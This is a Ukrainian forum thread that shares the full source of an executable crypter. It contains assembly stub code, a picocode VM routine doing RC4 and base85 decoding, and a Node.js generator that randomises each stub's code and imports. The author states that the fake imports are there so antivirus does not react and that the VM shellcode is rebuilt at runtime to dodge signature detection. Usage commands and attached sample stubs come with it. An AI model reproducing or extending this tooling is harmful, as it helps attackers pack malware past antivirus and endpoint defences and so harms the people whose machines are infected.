    mov     edx, DWord [ppass]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    push    DWord [pvmctx]
    pop     ebx
    call    [ppicovm]
    push    DWord [cdcrsize]
    pop     edx
    push    PICOVM_FNC_DSPUSH
    pop     eax
    mov     ebx, DWord [pvmctx]
    call    [ppicovm]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    mov     edx, DWord [pUnpackedData]
    mov     ebx, DWord [pvmctx]
    call    [ppicovm]
    mov     edx, DWord [palphabet]
    mov     ebx, DWord [pvmctx]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    call    [ppicovm]
    mov     edx, DWord [pPackedData]
    push    DWord [pvmctx]
    pop     ebx
    push    PICOVM_FNC_DSPUSH
    pop     eax
    call    [ppicovm]
    push    PICOVM_FNC_RUN
    pop     eax
    push    DWord [ppcode]
    pop     edx
    call    [ppicovm]
    mov     edx, DWord [ppcode]
    mov     esi, DWord [pUnpackedData]
    call    esi
    pop     eax
    pop     ebx
    pop     ecx
    pop     edx
    pop     esi
    mov     eax, DWord [iResult]
    ret
endp

passbody:
 db 'Mq*hG$bm)iK%59a8', 0h

alphbody db \
0xB, 0xE, 0x21, 0x9, 0x39, 0x32, 0x2A, 0x13, 0x4B, 0x33, 0x2, 0x6, 0x22, 0x46, 0x25, 0x3F, \
0x10, 0x20, 0x1E, 0xC, 0x49, 0x17, 0xA, 0x45, 0x26, 0x28, 0x0, 0x16, 0x34, 0x2B, 0x2C, 0x35, \
0x4E, 0x1A, 0x15, 0x5, 0x4D, 0x42, 0x44, 0x2D, 0xF, 0x41, 0x4, 0x4A, 0x1, 0x50, 0x3D, 0xD, \
0x3B, 0x7, 0x3A, 0x3C, 0x14, 0x1B, 0x37, 0x4F, 0x48, 0x29, 0x8, 0x31, 0x24, 0x36, 0x47, 0x19, \
0x43, 0x27, 0x23, 0x51, 0x3, 0x1F, 0x18, 0x2E, 0x1D, 0x2F, 0x11, 0x54, 0x53, 0x3E, 0x52, 0x4C, \
0x30, 0x12, 0x40, 0x1C, 0x38

Файл, що містить властивості стабу в JSON форматі.

▼Одчинити
{"pass":{"place":3,"val":"Mq*hG$bm)iK%59a8"},"vm":{"place":1,"dstacksize":45,"rstacksize":24,"order":["ctx","vmbody","dstack","rstack"],"vmbodysize":999},"datapeimage":{"place":2,"resnum":0},"alphabet":{"place":3,"val":[11,14,33,9,57,50,42,19,75,51,2,6,34,70,37,63,16,32,30,12,73,23,10,69,38,40,0,22,52,43,44,53,78,26,21,5,77,66,68,45,15,65,4,74,1,80,61,13,59,7,58,60,20,27,55,79,72,41,8,49,36,54,71,25,67,39,35,81,3,31,24,46,29,47,17,84,83,62,82,76,48,18,64,28,56]},"pcode":{"place":2},"loadpe":{"requmem":4672,"depth":120,"offset":5969},"import":{"fncs":["GetStdHandle","VirtualAlloc","WriteFile","GetDC","BeginPaint","CreateMutexA","CreateMutexW","VirtualFree","GetLastError","GetModuleHandleA","GetModuleHandleW","GetSystemInfo","GetVersionExA","LocalAlloc","CharUpperA","CreateDialogParamA","CreateWindowExA","DefWindowProcA","DispatchMessageA","EndDialog","EndPaint","GetClassInfoExA","GetMessageA","GetSystemMetrics","LoadCursorA","LoadIconA","PostQuitMessage","RegisterClassExA","SendMessageA","SendMessageW","SetDlgItemInt","SetFocus","SetWindowTextW","ShowWindow","TranslateMessage","UpdateWindow","GetDIBits","CreateCompatibleBitmap","GdiFlush","CombineRgn","CreateRectRgnIndirect","GetRegionData","SetStretchBltMode","SelectObject","CreateCompatibleDC","CreateDIBitmap","BitBlt","SetBkMode","CreateFontIndirectA","DPtoLP","GetDeviceCaps","CreateFontA","StretchBlt","GetObjectA","SelectClipRgn","ExtTextOutA"]},"icon":{"resnum":789},"stackdepth":336,"datatime":1401827612838}

Деякі параметри там не нужні, а деякі нужні, но не там :D, тож мій код нічим не гірше Microsoft`івського коду :) Документуватиму так само - ті поля, про які я не скажу вважайте "зарезервованими" :D
"import.fncs": тут знаходяться дані про фейковий імпорт (а імпорт майже увесь фейковий, бо єдине що використовує стаб - це функція VirtualAlloc), який потрібний аби антивірус не казився.

Файл pcode.asm - алгоритми кодування і шифрування виконані в пікоді для програмної віртуальної машини (далі - ВМ). На рівні мови асемблера для ВМ обфускації майже нема, окрім обрання випадкової мнемоніки (з можливих варіантів і наявних мнемонік) для завантаження константи в стек.

▼Одчинити
format binary
use32

include '%FASMINC%/win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

__Start__:
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd]
    @ _LOADCD, 0x3
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize]
    @ _LOADCB, 0x3
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize, pdst]
    @ _SWAP
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, pdst, crcdsize]
    @ _LOADCD, BASE85-.toBase85
.toBase85:
    @ _CALLR
; [pS, ppass, crcdsize, pdst]
;   @ _HLT
    @ _SWAP
; [pS, ppass, pdst, crcdsize]
    @ _LOADCD, 0x5
    @ _DIV
    @ _LOADCW, 0x4
    @ _MUL
; [pS, lpKey, lpBuf, dwBufLen]
    @ _ROT
    @ _SWAP
; [pS, lpBuf, lpKey, dwBufLen]
    @ _LOADCW, 0x10
; [pS, lpBuf, lpKey, dwBufLen, dwKeyLen]
    @ _LOADCB, 0x4
    @ _ROLL
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
    @ _LOADCD, RC4-@F
@@:
    @ _CALLR
    @ _HLT

; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
RC4:
@ _LOADCB, 0 ;B
@ _DUP ;A
@ _ROT
@ _SWAP
.for1_up:
@ _DUP
@ _LOADCW, 0x100;
@ _EQ
@ _NOT
@ _LOADCD, .for1_down-.tofor1_down
.tofor1_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _OVER
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1                           
@ _ADD
@ _LOADCD, .for1_up-.tofor1_up
.tofor1_up:
@ _JMPR
.for1_down:
@ _DROP
@ _LOADCB, 0x0
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0]
.for2_up:
@ _DUP
@ _LOADCW, 0x100
@ _EQ
@ _NOT
@ _LOADCD, .for2_down-.tofor2_down
.tofor2_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]]
@ _LOADCB, 0x3
@ _PICK
@ _ADD 
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B]
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _MOD
@ _LOADCB, 0x7
@ _PICK
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B, lpKey [A % dwKeyLen]]
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B+lpKey [A % dwKeyLen]]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, A, B, pS]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _OVER
@ _OVER
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A]
@ _LOADCB, 0x2
@ _PICK
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS]
@ _LOADCB, 0x4
@ _PICK
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS+B]
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1
@ _ADD
@ _LOADCD, .for2_up-.tofor2_up
.tofor2_up:
@ _JMPR
.for2_down:
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, pS, A, B]
@ _LOADCB, 0x4
@ _ROLL
@ _DROP
@ _SWAP
;[lpBuf, dwBufLen, pS, B, A]
.for3_up:
@ _LOADCB, 0x3
@ _ROLL
@ _DUP
;[lpBuf, pS, B, A, dwBufLen, dwBufLen]
@ _LOADCD, .for3_down-.tofor3_down
.tofor3_down:
@ _JMPC
@ _LOADCB, 0x1
@ _SUB
;[lpBuf, pS, B, A, dwBufLen]
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, pS, A, dwBufLen, (A+1)%255]
@ _ROT
;[lpBuf, pS, dwBufLen, (A+1)%255, B]
@ _OVER
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _OVER
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _SWAP
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _OVER
@ _OVER
;
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
;
@ _FETCHB
@ _SWAP
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _LOADCB, 0x5
@ _PICK
@ _FETCHB
@ _XOR
@ _LOADCB, 0x5
@ _PICK
@ _STOREB
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x1
@ _ADD
@ _ROT
@ _ROT
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _ROT
@ _ROT
@ _SWAP
@ _LOADCD, .for3_up-.tofor3_up
.tofor3_up:
@ _JMPR
.for3_down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET

;[pAlphabet, pSrc] => [pSrc, DW]
DECODE_DWORD:
@ _LOADCB, 0
@ _OVER
@ _FETCHB
;[pAlphabet, pSrc, 0, [pSrc]]
@ _LOADCW, 0x3
@ _PICK
@ _SWAP
;[pAlphabet, pSrc, 0, Alphabet, [pSrc]]
@ _LOADCD, SEARCHB -.toSearchB1
.toSearchB1:
@ _CALLR
@ _ADD
@ _SWAP
@ _LOADCW, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB2
.toSearchB2:
@ _CALLR
@ _LOADCB, 0x55
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB3
.toSearchB3:
@ _CALLR
@ _LOADCW, 85*85
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB4
.toSearchB4:
@ _CALLR
@ _LOADCD, 85*85*85
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCW, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCW, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB5
.toSearchB5:
@ _CALLR
@ _LOADCD, 85*85*85*85
@ _MUL
@ _ADD
@ _ROT
@ _DROP
@ _SWAP
@ _LOADCD, 0x1
@ _ADD
@ _SWAP
@ _RET

SEARCHB:
@ _OVER
@ _SWAP
.Up:
@ _OVER
@ _FETCHB
@ _OVER
;[pMem, pMem, bVal, [pMem], bVal]
@ _EQ
;[pMem, pMem, bVal, BOOL]
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _LOADCD, .Up-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _SWAP
@ _SUB
@ _RET

; BASE85
;[pAlphabet, pSrc, pDst, Size]
BASE85:
@ _DUP
@ _LOADCW, 0x0
@ _EQ
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _LOADCB, 0x5
@ _SUB
@ _ROT
;[pAlphabet, pDst, Size, pSrc]
@ _LOADCW, 0x3
@ _PICK
;[pAlphabet, pDst, Size, pSrc, pAlphabet]
@ _SWAP
;[pAlphabet, pDst, Size, pAlphabet, pSrc]
@ _LOADCD, DECODE_DWORD-.toDecodeDWord
.toDecodeDWord:
@ _CALLR
;[pAlphabet, pDst, Size, pSrc, DW]
@ _LOADCW, 0x3
@ _PICK
;[pAlphabet, pDst, Size, pSrc, DW, pDst]
@ _STORED
;[pAlphabet, pDst, Size, pSrc]
@ _ROT
;[pAlphabet, Size, pSrc, pDst]
@ _LOADCD, 0x4
@ _ADD
@ _ROT
;[pAlphabet, pSrc, pDst, Size]
@ _LOADCD, BASE85-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET

Також директорія стабу містить файли віртуальної машини: picovm.bin - шеллкод віртуальної машини, picovm.inc - заголовковий файл віртуальної машини, який необхідний також для компіляції програм для ВМ в пікод, entry.obj - "перехідник", що одержує керування від функції main і передає його до головної функції нашого стабу. Докладніше про ВМ ви можете ознайомитися тут. Варто зазначити, що шеллкод ВМ ніде не лежить у незмінному вигляді, бо його одразу ж задетектить антивірус і внесе до своєї бази сигнатур. Замість цього,  за створення образу ВМ в пам’яті відповідає функція genvmimage, яка "випадковим" чином генерується і унікальна для кажного стабу.

Долучені файли
В файлі  STUBS.EXAMPLE.zip містяться стаби, за допомогою яких пакуються файли.

Post's attachments

STUBS.EXAMPLE.zip 89.22 kb, 1063 downloads since 2015-01-02 

Подякували: leofun011

3

Re: [Джерельний код] Криптор

Керівництво з використання криптора

Для пакування файлів за допомогою криптора, останній потрібно запустити з наступними параметрами:

ENCRYPT.CMD вхідний_виконуваний_файл вихідний_виконуваний_файл стабова_тека необов’язковий_параметер

Приклад використання:

ENCRYPT.CMD E:\SAMPLES\CALC.exe E:\CALC.E3.EXE E:\STUBS\E3 "PLUGINS?RESTORESEH|ICON?E:\SETUP.ICO"

Долучені файли
samples.executable.zip містить:

  • hello.exe - мініатюрний виконуваний файл (розміром півтора кілобайта), який показує спливне вікно

  • calc.exe - калькулятор для Winows XP

  • hello.crypted.*.exe - криптований hello.exe різними стабами

  • calc.crypted.*.exe - криптований calc.exe різними стабами

Post's attachments

samples.executable.zip 706.27 kb, 962 downloads since 2015-01-02 

Подякували: leofun011

4

Re: [Джерельний код] Криптор

Генератор стабів

Для того щоб створити новий стаб, запустіть CREATESTUB.CMD з наступними параметрами:

CREATESTUB.CMD SETTINGS.JSON STUBDIR

Файл settings.json використовується генератором стабів для задання параметів пакування. Його розширена версія зберігається в стабовій теці.

▼Одчинити
{
    "pass": {
        "place": 2,
        "val": "AjIx@pHJ[*U3M&eVjk9"
    },
    "vm": {
        "place": 1,
        "dstacksize": 56,
        "rstacksize": 63,
        "order": ["rstack", "dstack", "vmbody", "ctx"],
        "vmbodysize": 1024
    },
    "datapeimage": {
        "place": 2,
        "resnum": 0
    },
    "alphabet": {
        "place": 3,
        "val": [9, 39, 74, 67, 69, 62, 84, 38, 78, 37, 82, 19, 5, 71, 63, 23, 30, 33, 66, 44, 72, 80, 26, 46, 15, 25, 52, 24, 70, 22, 29, 34, 36, 50, 47, 6, 42, 35, 51, 59, 68, 45, 83, 55, 60, 12, 21, 41, 8, 54, 43, 77, 40, 73, 18, 48, 65, 3, 32, 11, 49, 75, 61, 14, 58, 31, 20, 16, 4, 57, 17, 7, 1, 13, 27, 2, 53, 76, 10, 64, 56, 79, 0, 28, 81]
    },
    "pcode": {
        "place": 3
    },
    "loadpe": {
        "requmem": 4672,
        "depth": 120,
        "offset": 6194
    },
    "import": {
        "fncs": ["GetStdHandle", "VirtualAlloc", "WriteFile", "Beep", "GetDC", "BeginPaint", "CreateMutexA", "CreateMutexW", "VirtualFree", "GetLastError", "GetModuleHandleA", "GetModuleHandleW", "GetSystemInfo", "GetVersionExA", "LocalAlloc", "CharUpperA", "CreateDialogParamA", "CreateWindowExA", "DefWindowProcA", "DispatchMessageA", "EndDialog", "EndPaint", "FindWindowA", "FindWindowW", "GetClassInfoExA", "GetMessageA", "GetSystemMetrics", "GetTopWindow", "LoadIconA", "PostQuitMessage", "RegisterClassExA", "RegisterWindowMessageA", "SendMessageA", "SetDlgItemInt", "SetFocus", "ShowWindow", "TranslateMessage", "UpdateWindow", "GetDIBits", "CreateCompatibleBitmap", "GdiFlush"]
    },
    "icon": {
        "resnum": 127
    }
}

файл createStub.js є головним файлом генератора стабів:

▼Одчинити
var fs = require('fs');
var _ = require('underscore');
var gd = require('./gendata.js');
var p = require('./platform.js');
var stt = require('./settings.js');

var tableAPI = {
  'GetStdHandle':1,
  'VirtualAlloc':4,
  'WriteFile':5,
  'Beep':2,
  'GetDC':1,
  'BeginPaint':2,
  'CreateMutexA':3,
  'CreateMutexW':3,
  'VirtualFree':3,
  'GetLastError':0,
  'GetModuleHandleA':1,
  'GetModuleHandleW':1,  
  'GetSystemInfo':1,
  'GetVersionExA':1,
  'GetVersionExW':1,
  'LocalAlloc':2,
  'CharUpperA':1,
  'CharUpperW':1,  
  'CreateDialogParamA':5,
  'CreateWindowExA':12,
  'CreateWindowExW':12,
  'DefWindowProcA':4,
  'DefWindowProcW':4,  
  'DispatchMessageA':1,
  'DispatchMessageW':1,
  'EndDialog':2,
  'EndPaint':2,  
  'FindWindowA':2,  
  'FindWindowW':2,  
  'GetClassInfoExA':3,    
  'GetClassInfoExW':3,   
  'GetMessageA':4,        
  'GetMessageW':4,      
  'GetSystemMetrics':1,
  'GetTopWindow':1,
  'LoadCursorA':2,
  'LoadCursorW':2,
  'LoadIconA':2,
  'LoadIconW':2,
  'PostQuitMessage':1,
  'RegisterClassExA':1,
  'RegisterClassExW':1,
  'RegisterWindowMessageA':1,
  'RegisterWindowMessageW':1,
  'SendMessageA':4,
  'SendMessageW':4,
  'SetDlgItemInt':4,
  'SetFocus':1,
  'SetWindowTextA':2,
  'SetWindowTextW':2,
  'ShowWindow':2,
  'TranslateMessage':1,
  'UpdateWindow':1,
  'GetDIBits':7,
  'CreateCompatibleBitmap':3,
  'RealizePalette':1,
  'SelectPalette':3,
  'CreatePalette':1,
  'GetSystemPaletteEntries':4,
  'GdiFlush':0,
  'CombineRgn':4,
  'CreateRectRgnIndirect':1,
  'GetRegionData':3,
  'SetStretchBltMode':2,
  'SelectObject':2,
  'CreateCompatibleDC':1,
  'CreateDIBitmap':6,
  'BitBlt':9,
  'SetBkMode':2,
  'CreateFontIndirectA':1,
  'DPtoLP':3,  
  'GetDeviceCaps':2,
  'CreateFontA':14,    
  'StretchBlt':11,
  'GetObjectA':3,  
  'GetObjectW':3,  
  'SelectClipRgn':2,
  'ExtTextOutA':8}

stt.readSettings(process.argv[2]+'\\settings.json');

var extern = 'extrn crdata\n';

extern += _.map(stt.settings.import.fncs, function(a) {
  return ("extrn '__imp__"+a+"@"+(tableAPI[a]*4).toString()+"' as "+a+":DWord");
}, this).join('\n');
  
Number.prototype.toHex = function() {
  return('0x'+this.toString(16).toUpperCase());
};
    
var PICOVM_CONTEXT_SIZE = 0x16;
var PICOVM_DATA_SIZE = (stt.settings.vm.rstacksize+stt.settings.vm.dstacksize)*0x4+PICOVM_CONTEXT_SIZE+stt.settings.vm.vmbodysize;

var strucvmdata = 'struct PICOVM_DATA\n' + _.map(stt.settings.vm.order, function(x) {
    return((x==='ctx')?'context PICOVM_CONTEXT ?':((x==='rstack')?'rstack dd '+stt.settings.vm.rstacksize.toHex()+' dup (?)':((x==='dstack')?'dstack dd '+stt.settings.vm.dstacksize.toHex()+' dup (?)':'picovm db '+stt.settings.vm.vmbodysize.toHex()+' dup (?)')));
  }).join('\n')+'\nends\n';
  
var offsetLoadPE = stt.settings.loadpe.requmem + PICOVM_DATA_SIZE ;
var STUB_STACK_SIZE;
var alphB85asm = 'alphbody db '+_.map(stt.settings.alphabet.val, function (x, y) {return((y%0x10?'':'\\\n')+x.toHex());}).join(', ')+'\n';
var arrDataSect = [];
var arrCodeSect = [];

var buffvm = fs.readFileSync(process.argv[2]+'\\picovm.bin');
var buffpcode = fs.readFileSync(process.argv[2]+'\\pcode.bin');
var ee = new p.ExecutionEnvironment('CryptMain', 'stdcall', []);

ee.vars.add('ppcode', 0x4);
ee.vars.add('ppass', 0x4);
ee.vars.add('ppicovm', 0x4);
ee.vars.add('pmem', 0x4);
ee.vars.add('pUnpackedData', 0x4);
ee.vars.add('S', 0x100);
ee.vars.add('pS', 0x4);
ee.vars.add('pPackedData', 0x4);
ee.vars.add('cdcrsize', 0x4);
ee.vars.add('pefilesize', 0x4);
ee.vars.add('pvmctx', 0x4);
ee.vars.add('palphabet', 0x4);
ee.vars.add('inpfsz', 0x4);

var head = 'format MS COFF\n\
use32\n\
include \'%FASMINC%\\win32a.inc\'\n\
include \'picovm.inc\'\n\n\
macro @ cmd, p {\n\
 PICOVM_CMD cmd, p\n}\n';

var codesect='section \'.text\' code readable executable\n\n';
arrCodeSect.push('proc genvmimage, pPicoVMImage\n'+ gd(buffvm, 'pPicoVMImage')+'    ret\nendp\n');

var datasect = 'section \'.data\' data readable writeable\n\n';

switch (stt.settings.pcode.place) {
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push('pcode:\nfile \'pcode.bin\'\n'); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push('pcode:\nfile \'pcode.bin\'\n');
    break;
  case DATAPLACE_GENERATE:
    ee.vars.add('pcode', buffpcode.length); 
    break;
};
    
switch (stt.settings.pass.place) {
  case stt.DATAPLACE_GENERATE:
    var buffpass = new Buffer(stt.settings.pass.val + '\0');
    ee.vars.add('passbody', buffpass.length); 
    break;
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push('passbody:\n db \''+stt.settings.pass.val+'\', 0h\n'); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push('passbody:\n db \''+stt.settings.pass.val+'\', 0h\n');
    break; 
};

switch (stt.settings.alphabet.place) {
  case stt.DATAPLACE_GENERATE:
    var buffalph = new Buffer(stt.settings.alphabet.val);
    ee.vars.add('alphbody', buffalph.length); 
    break;
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push(alphB85asm); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push(alphB85asm);
    break; 
};

var i = 4;
                                            
while(true) {
  var z = _.shuffle(_.range(0xE));
  if ((z.indexOf(0)>z.indexOf(5))||(z.indexOf(0)>z.indexOf(6))||(z.indexOf(0)>z.indexOf(9))||(z.indexOf(0)>z.indexOf(7))) continue;
  _.each(z, function(x, y) {
    switch(x) {
      case 0:
        ee.emit(['stdcall', 'DWord [VirtualAlloc]', 'NULL', '0xACADBE71', 'MEM_TOP_DOWN or MEM_COMMIT or MEM_RESERVE', 'PAGE_EXECUTE_READWRITE']);
        ee.cmd('load_r32$m32', [p.REG_EAX, 'pmem']);
        break;
      case 1:
        ee.emit((stt.settings.pcode.place===stt.DATAPLACE_GENERATE)?gd(buffpcode, 'pcode', true):'');
        break;
      case 2:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[pcode]']);
        ee.cmd('load_r32$m32', [rlea.i, 'ppcode']);
        rlea.o.unlock();
        break;
      case 3:
        ee.emit((stt.settings.pass.place===stt.DATAPLACE_GENERATE)?gd(buffpass, 'passbody', true):'');
        break;
      case 4:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[passbody]']);
        ee.cmd('load_r32$m32', [rlea.i, 'ppass']);
        rlea.o.unlock();
        break;
      case 5:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        if (stt.settings.vm.place === 1) {
          ee.cmd('load_m32$r32', ['pmem', rlea.i]);
          ee.emit(['lea', rlea.s, '[PICOVM_DATA.picovm+'+rlea.s+']']);
          ee.cmd('load_r32$m32', [rlea.i, 'ppicovm']);
        } else if (stt.settings.vm.place === 3) {
          ee.emit(['lea', rlea.s, '[vmbody]']);
          arrCodeSect.push("vmbody:\nfile '..\\picovm\\picovm.bin'\n"); 
        };
        if (_.random(1)){
          ee.emit(['stdcall', 'genvmimage', '[ppicovm]']);
        } else {
          ee.cmd('load_r32$m32', [rlea.i, 'ppicovm']);
          ee.emit(['stdcall', 'genvmimage', rlea.s]);
        }
        rlea.o.unlock();
        break;
      case 6:
        fillvmstruct(ee);
        break;
      case 7:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.cmd('load_m32$r32', ['pmem', rlea.i]);
        if (_.random(1)) {
          ee.emit(['lea', rlea.s, '['+rlea.s+'+PICOVM_DATA.context]']); }
        else {
          ee.emit(['add', rlea.s, 'PICOVM_DATA.context']); }
        ee.cmd('load_r32$m32', [rlea.i, 'pvmctx']);
        rlea.o.unlock();
        break;
      case 8:
        ee.emit(['lea', 'eax', '[crdata]']);
        ee.cmd('load_r32$m32', [p.REG_EAX, 'pPackedData']);
        break;
      case 9:
        var rlea = ee.getFreeReg(p.LOCK_REG);  
        ee.cmd('load_m32$r32', ['pmem', rlea.i]);
        ee.cmd('add_c32$r32', [offsetLoadPE, rlea.i]);
        ee.cmd('load_r32$m32', [rlea.i, 'pUnpackedData']);
        rlea.o.unlock();
        break;
      case 10:
        var rlea = ee.getFreeReg(p.LOCK_REG);  
        ee.emit(['lea', rlea.s, '[alphbody]']);
        ee.cmd('load_r32$m32', [rlea.i, 'palphabet']);
        rlea.o.unlock();
        break;
      case 11:
        ee.cmd('load_c32$m32', [0xAB7E6CA9, 'cdcrsize']);
        break;
      case 12:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[s]']);
        ee.cmd('load_r32$m32', [rlea.i, 'pS']);
        rlea.o.unlock();
        break;
      case 13:
        ee.emit(gd(buffpass, 'alphbody', true));
        break;
  }; }, this);
  break;};
  _.each(['pS', 'ppass', 'cdcrsize', 'pUnpackedData', 'palphabet', 'pPackedData'], function (x) {
      eval(_.shuffle(["ee.cmd('load_c32$r32', ['PICOVM_FNC_DSPUSH', p.REG_EAX]);",
        "ee.cmd('load_m32$r32', [x, p.REG_EDX]);",
        "ee.cmd('load_m32$r32', ['pvmctx', p.REG_EBX]);"]).join('\n')); 
      ee.emit(['call', '[ppicovm]']);
    }, this);
  ee.cmd('load_c32$r32', ['PICOVM_FNC_RUN', p.REG_EAX]);
  ee.cmd('load_m32$r32', ['ppcode', p.REG_EDX]);
  ee.emit(['call', '[ppicovm]']);
  ee.cmd('load_m32$r32', ['ppcode', p.REG_EDX]);
  var rshc = ee.getFreeReg();
  ee.cmd('load_m32$r32', ['pUnpackedData', rshc.i]);
  ee.emit(['call', rshc.s]);

function random_load_c8$m8(e, c8, m8) {
    var r = _.random(1), rg;
    if (r) {
        rg = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
        e.cmd('load_c32$r32', [c8, rg.i]);
        e.emit(['mov', 'BYTE ['+m8+']', rg.o.name[3]]);
        rg.o.unlock();
    }  else {
        e.emit(['mov', 'BYTE ['+m8+']', c8.toHex()]);
    }
}

function fillvmstruct(e) {
  var rData = e.getFreeReg(p.LOCK_REG);
  var rDStack = e.getFreeReg(p.LOCK_REG);
  var rRStack = e.getFreeReg(p.LOCK_REG);
  e.cmd('load_m32$r32', ['pmem', rData.i]);
  while (true) {
    var z = _.shuffle(_.range(8));
    if ((z.indexOf(0)>z.indexOf(2))||(z.indexOf(0)>z.indexOf(4))||(z.indexOf(1)>z.indexOf(3))||(z.indexOf(1)>z.indexOf(5))) continue;
    _.each(z, function(x) {
      switch(x) {
        case 0: e.emit(['lea', rDStack.s, '['+rData.s+'+PICOVM_DATA.dstack]']); break;
        case 1: e.emit(['lea', rRStack.s, '['+rData.s+'+PICOVM_DATA.rstack]']); break;
        case 2: e.cmd('load_r32$m32', [rDStack.i, rData.s+'+PICOVM_DATA.context._dstack_top']); break;
        case 3: e.cmd('load_r32$m32', [rRStack.i, rData.s+'+PICOVM_DATA.context._rstack_top']); break;
        case 4: e.cmd('load_r32$m32', [rDStack.i, rData.s+'+PICOVM_DATA.context._dstack_begin']); break;
        case 5: e.cmd('load_r32$m32', [rRStack.i, rData.s+'+PICOVM_DATA.context._rstack_begin']); break;
        case 6: random_load_c8$m8(e, stt.settings.vm.dstacksize, rData.s+'+PICOVM_DATA.context._dstack_size'); break; 
        case 7: random_load_c8$m8(e, stt.settings.vm.rstacksize, rData.s+'+PICOVM_DATA.context._rstack_size'); break;
      }
    }, this);
    rData.o.unlock();
    rDStack.o.unlock();
    rRStack.o.unlock();
    break;
  };
}

ee.finalize();
DEPTH_RUNTIME_LIB = 0x88;
arrCodeSect.push('public CryptMain as \'_CryptMain@0\'\n\n'+ee.code);
var stubSrcCode = head+'\n'+extern+'\n'+strucvmdata+'\n'+datasect+_.shuffle(arrDataSect).join('\n')+'\n'+codesect+_.shuffle(arrCodeSect).join('\n');
